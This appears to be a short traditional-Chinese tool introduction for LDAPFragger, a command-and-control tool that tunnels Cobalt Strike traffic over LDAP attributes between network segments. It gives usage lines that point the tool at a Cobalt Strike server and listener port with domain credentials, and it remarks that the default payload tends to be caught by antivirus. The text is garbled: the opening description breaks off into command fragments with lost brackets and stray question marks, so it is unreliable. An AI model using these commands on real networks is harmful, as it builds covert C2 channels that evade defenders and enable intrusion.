關于LDAPFragger

LDAPFragger是一款功能強大的命令控制CCobalt Strike IP> --csport External listener port> ? LDAPFragger --cshost Cobalt Strike IP> --csport External listener port> -u username> -p password> -d domain FQDN>

從網段B運行下列命令：

LDAPFragger

?

LDAPFragger -u username> -p password> -d domain FQDN>

我們可以通過“--LDAPS”選項來啟用LDAPS，此時常規的LDAP流量仍然會被加密。注意，此時默認的Cobalt?Strike?Payload可能會被大多數AV捕捉到。

工具運行截圖

許可證協議

本項目的開發與發布遵循MIT開源許可證協議。

項目地址

LDAPFragger：【GitHub傳送門】

參考資料

https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/

https://docs.microsoft.com/en-us/windows/win32/adschema/r-personal-information

https://github.com/fox-it/LDAPFragger/blob/master/LDAPChannel.ps1

https://www.harmj0y.net/blog/powershell/command-and-control-using-active-directory/

https://www.cobaltstrike.com/help-externalc2

https://support.microsoft.com/en-us/help/314980/how-to-configure-active-directory-and-lds-diagnostic-event-logging

https://techcommunity.microsoft.com/t5/Microsoft-Defender-ATP/Hunting-for-reconnaissance-activities-using-LDAP-search-filters/ba-p/824726